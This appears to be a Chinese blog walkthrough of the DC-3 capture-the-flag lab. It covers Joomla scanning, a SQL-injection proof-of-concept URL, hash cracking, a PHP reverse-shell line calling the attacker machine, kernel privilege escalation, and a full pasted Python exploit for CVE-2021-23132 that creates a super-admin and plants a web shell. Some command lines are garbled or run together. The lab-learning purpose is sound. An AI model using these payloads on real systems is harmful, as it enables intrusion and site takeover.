• 4.DC3


    DC-3

    关于环境的搭建 , 大家可以自行百度

    网络桥接

    渗透机 kali

    靶机 dc-3 描述:从靶机DC-3开始,只有一个最终的flag,只有拿到root权限才可以发现最终的flag

    踩坑记录 :

    0.官网那个下载地址下载的dc-3.2不好使 , ip还是没办法获取 推荐这个连接 , 迅雷下载
                                                 https://www.five86.com/downloads/DC-3.zip
    1.启动虚拟机的时候需要修改 CD/DVD(IDE) , 如果提示要修改就修改 , 没提示就算了 
    2.需要修改网络配置 , 要不然开机没有ip地址
     - 进入拯救模式
     - 查看网卡名称
     - 修改配置文件的网卡名称
     - 重启网卡
     - 重启虚拟机
    详情: https://www.cnblogs.com/A1oe/p/12571032.html
    

    image-20210618202819896

    0x01. 信息收集

    1. 查看当前网段

    image-20210618222358882

    2. 扫描存活主机 , 确定靶机ip

    可以看到靶机的ip是192.168.42.142

    image-20210618222146327

    3. 扫描ip开放的端口 , 全端口

    nmap -p 0-65535 192.168.42.142 --script=banner
    

    image-20210618222234928

    可以看到只开放了一个 80 端口 , 应该是web服务 , 访问一下

    image-20210618222419286

    看到这个界面 , 我就知道了是三大php开源cms中的joomla , 而且提示只有一个flag

    0x02. 漏洞的发现和利用

    1. 漏洞发现

    首先使用kali里面的joomscan扫描一下当前的版本

    安装 
    apt-get instal joomscan
    
    joomscan -u http://192.168.42.142
    

    image-20210618223210098

    发现是3.7.0的版本 , 我依稀的记得3.7.0的版本有一个sql注入 , 百度搜一下 , 果然没有记错

    image-20210618223652563

    poc
    /index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)
    

    image-20210618225832414

    既然有注入那就sqlmap跑起来 , 拿到后台管理员的账号和密码 ,当然你也可以手工注入 , 这里不知道为什么kali下的sqlmap爆破字段的时候没有结果 , 只好手工爆破了, 手工爆破你要解决一个问题就是#会把后面的注释掉

    实际上对于这种开源的cms , 你可以本地搭建 , 一般只会库名和表名需要你自定义 , 字段的话一般不会更改

    joomla的#__usrs表就是username和password

    最后得到账号和密码

    admin
    $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu 
    

    然后通过john解密密码

    john passwd.txt
    john --show passwd.txt        查看解密的密码
    

    image-20210618231338989

    登录到后台 , 默认路径是administrator/ , 由于是超级管理员在后台模板处可以修改php文件 , 我们这里

    直接修改error.php , 用nc反弹shell , 后面爆出来了一个CVE-2021-23132漏洞就是关于这个的 , 下面有补充

    在一个php文件中插入以下代码 , 以error为例
    <?php system("bash -c 'bash -i >& /dev/tcp/192.168.42.156/4444 0>&1' ") ;?>
    
    在kali中监听4444端口
    nc -lvp 4444
    
    然后访问 http://192.168.42.142/templates/beez3/error.php
    

    image-20210619104500413

    查看当前操作系统版本以及内核版本
    cat /etc/*-release
    uname -a
    

    image-20210619104833134

    2. 提权

    发现是ubuntu16.04 内核版本是4.4.0-21的 , 直接通过kali里面的漏洞库 , 搜索一下有无exp

    searchsploit Ubuntu 16.04
    

    image-20210619111503037

    这里我们使用33772.txt这个文件里面的exp提权

    查看文件内容cat /usr/share/exploitdb/exploits/linux/local/39772.txt
    

    image-20210619111912029

    这里需要kexueshangwang才能下载 , 下载好后 , 通过python开启http服务 , 把压缩包下载到靶机上

    python3 -m http.servev 8080 --bind 192.168.42.142wget http://192.168.41.142:8080/39772.zip
    

    接下来就是解压 提权了

    unzip 39772.ziptar -xvf exploit.tarlscd ebpf_mapfd_doubleput_explitls./compile.sh./doubleputwhoami
    

    image-20210619112611182

    3. 补充 CVE-2021-23132

    #!/usr/bCVE-2021-23132in/python3import sysimport requestsimport reimport argparse#proxies = {"http": "http://127.0.0.1:8080","https": "http://127.0.0.1:8080"}proxies={}try:    import lxml.htmlexcept ImportError:    print("module 'lxml' doesn't exist, type: pip3 install lxml")    exit(0)def writeConfigFile(filename):    print("[+] Creating config.xml ")    content="""<?xml version="1.0" encoding="utf-8"?><config>      <fieldset           name="user_options"           label="COM_USERS_CONFIG_USER_OPTIONS" >           <field                 name="allowUserRegistration"                 type="radio"                 label="COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_LABEL"                 description="COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_DESC"                 class="btn-group btn-group-yesno"                 default="1"                 >                 <option value="1">JYES</option>                 <option value="0">JNO</option>           </field>           <field                 name="new_usertype"                 type="usergrouplist"                 label="COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_LABEL"                 description="COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_DESC"                 default="2"                 checksuperusergroup="0"           />           <field                 name="guest_usergroup"                 type="usergrouplist"                 label="COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_LABEL"                 description="COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_DESC"                 default="1"                 checksuperusergroup="0"           />           <field                 name="sendpassword"                 type="radio"                 label="COM_USERS_CONFIG_FIELD_SENDPASSWORD_LABEL"                 description="COM_USERS_CONFIG_FIELD_SENDPASSWORD_DESC"                 class="btn-group btn-group-yesno"                 default="1"                 >                 <option value="1">JYES</option>                 <option value="0">JNO</option>           </field>           <field                 name="useractivation"                 type="list"                 label="COM_USERS_CONFIG_FIELD_USERACTIVATION_LABEL"                 description="COM_USERS_CONFIG_FIELD_USERACTIVATION_DESC"                 default="0"                 >                 <option value="0">JNONE</option>                 <option value="1">COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_SELFACTIVATION</option>                 <option value="2">COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_ADMINACTIVATION</option>           </field>           <field                 name="mail_to_admin"                 type="radio"                 label="COM_USERS_CONFIG_FIELD_MAILTOADMIN_LABEL"                 description="COM_USERS_CONFIG_FIELD_MAILTOADMIN_DESC"                 class="btn-group btn-group-yesno"                 default="0"                 >                 <option value="1">JYES</option>                 <option value="0">JNO</option>           </field>           <field                 name="captcha"                 type="plugins"                 label="COM_USERS_CONFIG_FIELD_CAPTCHA_LABEL"                 description="COM_USERS_CONFIG_FIELD_CAPTCHA_DESC"                 folder="captcha"                 filter="cmd"                 useglobal="true"                 >                 <option value="0">JOPTION_DO_NOT_USE</option>           </field>           <field                 name="frontend_userparams"                 type="radio"                 label="COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_LABEL"                 description="COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_DESC"                 class="btn-group btn-group-yesno"                 default="1"                 >                 <option value="1">JSHOW</option>                 <option value="0">JHIDE</option>           </field>           <field                 name="site_language"                 type="radio"                 label="COM_USERS_CONFIG_FIELD_FRONTEND_LANG_LABEL"                 description="COM_USERS_CONFIG_FIELD_FRONTEND_LANG_DESC"                 class="btn-group btn-group-yesno"                 default="0"                 showon="frontend_userparams:1"                 >                 <option value="1">JSHOW</option>                 <option value="0">JHIDE</option>           </field>           <field                 name="change_login_name"                 type="radio"                 label="COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_LABEL"                 description="COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_DESC"                 class="btn-group btn-group-yesno"                 default="0"                 >                 <option value="1">JYES</option>                 <option value="0">JNO</option>           </field>      </fieldset>      <fieldset           name="domain_options"           label="COM_USERS_CONFIG_DOMAIN_OPTIONS"           >           <field                 name="domains"                 type="subform"                 label="COM_USERS_CONFIG_FIELD_DOMAINS_LABEL"                 description="COM_USERS_CONFIG_FIELD_DOMAINS_DESC"                 multiple="true"                 layout="joomla.form.field.subform.repeatable-table"           formsource="administrator/components/com_users/models/forms/config_domain.xml"           />      </fieldset>      <fieldset           name="password_options"           label="COM_USERS_CONFIG_PASSWORD_OPTIONS" >           <field                 name="reset_count"                 type="integer"                 label="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_LABEL"                 description="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_DESC"                 first="0"                 last="20"                 step="1"                 default="10"           />           <field                 name="reset_time"                 type="integer"                 label="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_LABEL"                 description="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_DESC"                 first="1"                 last="24"                 step="1"                 default="1"           />           <field                 name="minimum_length"                 type="integer"                 label="COM_USERS_CONFIG_FIELD_MINIMUM_PASSWORD_LENGTH"                 description="COM_USERS_CONFIG_FIELD_MINIMUM_PASSWORD_LENGTH_DESC"                 first="4"                 last="99"                 step="1"                 default="4"           />           <field                 name="minimum_integers"                 type="integer"                 label="COM_USERS_CONFIG_FIELD_MINIMUM_INTEGERS"                 description="COM_USERS_CONFIG_FIELD_MINIMUM_INTEGERS_DESC"                 first="0"                 last="98"                 step="1"                 default="0"           />           <field                 name="minimum_symbols"                 type="integer"                 label="COM_USERS_CONFIG_FIELD_MINIMUM_SYMBOLS"                 description="COM_USERS_CONFIG_FIELD_MINIMUM_SYMBOLS_DESC"                 first="0"                 last="98"                 step="1"                 default="0"           />           <field                 name="minimum_uppercase"                 type="integer"                 label="COM_USERS_CONFIG_FIELD_MINIMUM_UPPERCASE"                 description="COM_USERS_CONFIG_FIELD_MINIMUM_UPPERCASE_DESC"                 first="0"                 last="98"                 step="1"                 default="0"           />           <field                 name="minimum_lowercase"                 type="integer"                 label="COM_USERS_CONFIG_FIELD_MINIMUM_LOWERCASE"                 description="COM_USERS_CONFIG_FIELD_MINIMUM_LOWERCASE_DESC"                 first="0"                 last="98"                 step="1"                 default="0"           />      </fieldset>      <fieldset           name="user_notes_history"           label="COM_USERS_CONFIG_FIELD_NOTES_HISTORY" >           <field                 name="save_history"                 type="radio"                 label="JGLOBAL_SAVE_HISTORY_OPTIONS_LABEL"                 description="JGLOBAL_SAVE_HISTORY_OPTIONS_DESC"                 class="btn-group btn-group-yesno"                 default="0"                 >                 <option value="1">JYES</option>                 <option value="0">JNO</option>           </field>           <field                 name="history_limit"                 type="number"                 label="JGLOBAL_HISTORY_LIMIT_OPTIONS_LABEL"                 description="JGLOBAL_HISTORY_LIMIT_OPTIONS_DESC"                 filter="integer"                 default="5"                 showon="save_history:1"           />      </fieldset>     <fieldset           name="massmail"           label="COM_USERS_MASS_MAIL"           description="COM_USERS_MASS_MAIL_DESC">           <field                name="mailSubjectPrefix"                type="text"                 label="COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_LABEL"                 description="COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_DESC"           />          <field                name="mailBodySuffix"                 type="textarea"                 label="COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_LABEL"                 description="COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_DESC"                rows="5"                cols="30"           />      </fieldset>      <fieldset           name="debug"           label="COM_USERS_DEBUG_LABEL"           description="COM_USERS_DEBUG_DESC">           <field                 name="debugUsers"                 type="radio"                 label="COM_USERS_DEBUG_USERS_LABEL"                 description="COM_USERS_DEBUG_USERS_DESC"                 class="btn-group btn-group-yesno"                 default="1"                 >                 <option value="1">JYES</option>                 <option value="0">JNO</option>           </field>           <field                 name="debugGroups"                 type="radio"                 label="COM_USERS_DEBUG_GROUPS_LABEL"                 description="COM_USERS_DEBUG_GROUPS_DESC"                 class="btn-group btn-group-yesno"                 default="1"                 >                 <option value="1">JYES</option>                 <option value="0">JNO</option>           </field>      </fieldset>      <fieldset name="integration"           label="JGLOBAL_INTEGRATION_LABEL"           description="COM_USERS_CONFIG_INTEGRATION_SETTINGS_DESC"      >           <field                 name="integration_sef"                 type="note"                 label="JGLOBAL_SEF_TITLE"           />           <field                 name="sef_advanced"                 type="radio"                 class="btn-group btn-group-yesno btn-group-reversed"                 default="0"                 label="JGLOBAL_SEF_ADVANCED_LABEL"                 description="JGLOBAL_SEF_ADVANCED_DESC"                 filter="integer"                 >                 <option value="0">JGLOBAL_SEF_ADVANCED_LEGACY</option>                 <option value="1">JGLOBAL_SEF_ADVANCED_MODERN</option>           </field>           <field                 name="integration_customfields"                 type="note"                 label="JGLOBAL_FIELDS_TITLE"           />           <field                 name="custom_fields_enable"                 type="radio"                 label="JGLOBAL_CUSTOM_FIELDS_ENABLE_LABEL"                 description="JGLOBAL_CUSTOM_FIELDS_ENABLE_DESC"                 class="btn-group btn-group-yesno"                 default="1"                 >                 <option value="1">JYES</option>                 <option value="0">JNO</option>           </field>      </fieldset>      <fieldset           name="permissions"           label="JCONFIG_PERMISSIONS_LABEL"           description="JCONFIG_PERMISSIONS_DESC"           >           <field                 name="rules"                 type="rules"                 label="JCONFIG_PERMISSIONS_LABEL"                 filter="rules"                 validate="rules"                 component="com_users"                 section="component"           />      </fieldset></config>"""    f = open(filename, "w")    f.write(content)    f.closedef extract_token(resp):    match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)    if match is None:        print("[-] Cannot find CSRF token!n")        return None    return match.group(1)def try_admin_login(sess, url, uname, upass):    admin_url = url + '/administrator/index.php'    print('[+] Getting token for Manager login')    resp = sess.get(admin_url, verify=True)    token = extract_token(resp)    if not token:        return False    print('[+] Logging in to Admin')    data = {        'username': uname,        'passwd': upass,        'task': 'login',        token: '1'    }    resp = sess.post(admin_url, data=data, verify=True)    if 'task=profile.edit' not in resp.text:        print('[!] Admin Login Failure!')        return None    print('[+] Admin Login Successfully!')    return Truedef check_admin(sess, url):    url_check = url + '/administrator/index.php?option=com_config&view=component&component=com_media&path='    resp = sess.get(url_check, verify=True)    token = extract_token(resp)    if not token:        print ("[-] You are not admin account!")        sys.exit()    return tokendef set_media_options(url, sess, dir, token):    print("[+] Setting media options")    newdata = {        'jform[upload_extensions]': 'xml,bmp,csv,doc,gif,ico,jpg,jpeg,odg,odp,ods,odt,pdf,png,ppt,swf,txt,xcf,xls,BMP,CSV,DOC,GIF,ICO,JPG,JPEG,ODG,ODP,ODS,ODT,PDF,PNG,PPT,SWF,TXT,XCF,XLS',        'jform[upload_maxsize]': 10,        'jform[file_path]': dir,        'jform[image_path]': dir,        'jform[restrict_uploads]': 0,        'jform[check_mime]': 0,        'jform[image_extensions]': 'bmp,gif,jpg,png',        'jform[ignore_extensions]': '',        'jform[upload_mime]': 'image/jpeg,image/gif,image/png,image/bmp,application/x-shockwave-flash,application/msword,application/excel,application/pdf,application/powerpoint,text/plain,application/x-zip',        'jform[upload_mime_illegal]': 'text/html',        'id': 13,        'component': 'com_media',        'task': 'config.save.component.apply',        token: 1    }    newdata['task'] = 'config.save.component.apply'    config_url = url + '/administrator/index.php?option=com_config'    resp = sess.post(config_url, data=newdata, verify=True)    if 'jform[upload_extensions]' not in resp.text:        print('[!] Maybe failed to set media options...')        return False    return Truedef traversal(sess, url):    shell_url = url + '/administrator/index.php?option=com_media&view=mediaList&tmpl=component&folder='    resp = sess.get(shell_url, verify=True)    page = resp.text.encode('utf-8')    html = lxml.html.fromstring(page)    files = html.xpath("//input[@name='rm[]']/@value")    for file in files:        print (file)    passdef removeFile(sess, url, filename, token):    remove_path = url + '/administrator/index.php?option=com_media&task=file.delete&tmpl=index&' + token + '=1&folder=&rm[]=' + filename    msg = sess.get(remove_path, verify=True,proxies=proxies)    page = msg.text.encode('utf-8')    html = lxml.html.fromstring(page)    file_remove = html.xpath("//div[@class='alert-message']/text()[1]")    print ('n' + '[Result]: ' + file_remove[-1])def upload_file(sess, url, file, token):    print("[+] Uploading config.xml")    filename = "config.xml"    url = url + '/administrator/index.php?option=com_media&task=file.upload&tmpl=component&' + token + '=1&format=html&folder='    files = {        'Filedata[]': (filename, file, 'text/xml')    }    data = dict(folder="")    resp = sess.post(url, files=files, data=data, verify=True,proxies=proxies)    if filename not in resp.text:        print("[!] Failed to upload file!")        return False    print("[+] Exploit Successfully!")    return Truedef set_users_option(sess, url, token):    newdata = {        'jform[allowUserRegistration]': 1,        'jform[new_usertype]': 8,        'jform[guest_usergroup]': 8,        'jform[sendpassword] ': 0,        'jform[useractivation]': 0,        'jform[mail_to_admin]': 0,        'id': 25,        'component': 'com_users',        'task': 'config.save.component.apply',        token: 1    }    newdata['task'] = 'config.save.component.apply'    config_url = url + '/administrator/index.php?option=com_config'    resp = sess.post(config_url, data=newdata, verify=True)    if 'Configuration saved.' not in resp.text:        print('[!] Could not save data. Error: Save not permitted.')        return False    return Truedef create_superuser(sess, url, username, password, email):    resp = sess.get(url + "/index.php?option=com_users&view=registration", verify=True)    token = extract_token(resp)    data = {        # Form data        'jform[name]': username,        'jform[username]': username,        'jform[password1]': password,        'jform[password2]': password,        'jform[email1]': email,        'jform[email2]': email,        'jform[option]': 'com_users',        'jform[task]': 'registration.register',        token: '1',    }    url_post = "/index.php/component/users/?task=registration.register&Itemid=101"    sess.post(url + url_post, data=data, verify=True)    sess.get(url + "/administrator/index.php?option=com_login&task=logout&" + token + "=1", verify=True)    newsess = requests.Session()    if try_admin_login(newsess, url, username, password):        print ("[+] Now, you are super-admin!!!!!!!!!!!!!!!!" + "n[+] Your super-admin account: n[+] USERNAME: " + username + "n[+] PASSWORD: " + password)        return newsess    else:        print ("[-] Sorry,exploit fail!")    return Nonedef setOption(url, sess, usuper, psuper, esuper, token):    print ("Superadmin Creation:")    #  folder contains config.xml    dir = './administrator/components/com_users'    filename = 'config.xml'    set_media_options(url, sess, dir, token)    traversal(sess, url)    removeFile(sess, url, filename, token)    f = open("config.xml", "rb")    upload_file(sess, url, f, token)    set_users_option(sess, url, token)def rce(sess, url, cmd, token):    filename = 'error.php'    shlink = url + '/administrator/index.php?option=com_templates&view=template&id=506&file=506&file=L2Vycm9yLnBocA%3D%3D'    shdata_up = {        'jform[source]': "<?php echo 'Hacked by HKn' ;system($_GET['cmd']); ?>",        'task': 'template.apply',        token: '1',        'jform[extension_id]': '506',        'jform[filename]': '/' + filename    }    sess.post(shlink, data=shdata_up,proxies=proxies)    path2shell = '/templates/protostar/error.php?cmd=' + cmd    # print '[+] Shell is ready to use: ' + str(path2shell)    print ('[+] Checking:')    shreq = sess.get(url + path2shell,proxies=proxies)    shresp = shreq.text    print (shresp + '[+] Shell link: n' + (url + path2shell))    print ('[+] Module finished.')def main():    # Construct the argument parser    ap = argparse.ArgumentParser()    # Add the arguments to the parser    ap.add_argument("-url", "--url", required=True,                    help=" URL for your Joomla target")    ap.add_argument("-u", "--username", required=True,                    help="username")    ap.add_argument("-p", "--password", required=True,                    help="password")    ap.add_argument("-dir", "--directory", required=False, default='./',                    help="directory")    ap.add_argument("-rm", "--remove", required=False,                    help="filename")    ap.add_argument("-rce", "--rce", required=False, default="0",                    help="RCE's mode is 1 to turn on")    ap.add_argument("-cmd", "--command", default="whoami",                    help="command")    ap.add_argument("-usuper", "--usernamesuper", default="hk",                    help="Super's username")    ap.add_argument("-psuper", "--passwordsuper", default="12345678",                    help="Super's password")    ap.add_argument("-esuper", "--emailsuper", default="hk@hk.com",                    help="Super's Email")    args = vars(ap.parse_args())    # target    url = format(str(args['url']))    print ('[+] Your target: ' + url)    # username    uname = format(str(args['username']))    # password    upass = format(str(args['password']))    # directory    dir = format(str(args['directory']))    # init    sess = requests.Session()    # admin login    if (try_admin_login(sess, url, uname, upass) == None): sys.exit()    # get token    token = check_admin(sess, url)    # set options    set_media_options(url, sess, dir, token)    print ("Directory mode:")    traversal(sess, url)    if ap.parse_args().remove:        print ("nRemove file mode: ")        filename = format(str(args['remove']))        removeFile(sess, url, filename, token)    # check option superadmin creation    # username of superadmin    usuper = format(str(args['usernamesuper']))    # password of superadmin    psuper = format(str(args['passwordsuper']))    # email of superadmin    esuper = format(str(args['emailsuper']))    # RCE mode    if (format(str(args['rce'])) == "1"):        print ("nRCE mode:n")        # command        filename="config.xml"        writeConfigFile(filename)        command = format(str(args['command']))        setOption(url, sess, usuper, psuper, esuper, token)         # superadmin creation        newsess = create_superuser(sess, url, usuper, psuper, esuper)        if newsess != None :            # get token            newtoken = check_admin(newsess, url)            rce(newsess, url, command, newtoken)if __name__ == "__main__":    sys.exit(main())
    
    使用方法python3 Joomla远程代码执行漏洞-CVE-2021-23132.py -url http://192.168.6.139:8080/Joomla_3.9.22-Stable-Full_Package -u test -p 12345  -rce 1 -cmd ls
    

    0x03. 总结

    1. joomscan 的使用 , 扫描版本joomscan -u http://192.168.42.1422.john的爆破密码john passwd.txtjohn --show passwd.txt3.反弹shell<?php system("bash -c 'bash -i >& /dev/tcp/192.168.42.156/4444 0>&1' ") ;?>4. 搜索expsearchsploit ubuntu16.045.内核提权
    
  • 相关阅读:
    jquery validate --转载
    领域驱动设计之领域模型--转载
    为system对象添加扩展方法
    DDD开源框架
    浅谈命令查询职责分离(CQRS)模式---转载
    AutoMapper小结
    执行后台任务的利器——Hangfire
    单元测试框架
    内存中的堆和栈
    ++*p,(*p)++,*p++与*++p四者的区别
  • 原文地址:https://www.cnblogs.com/xcymn/p/15712494.html
Copyright © 2020-2023  润新知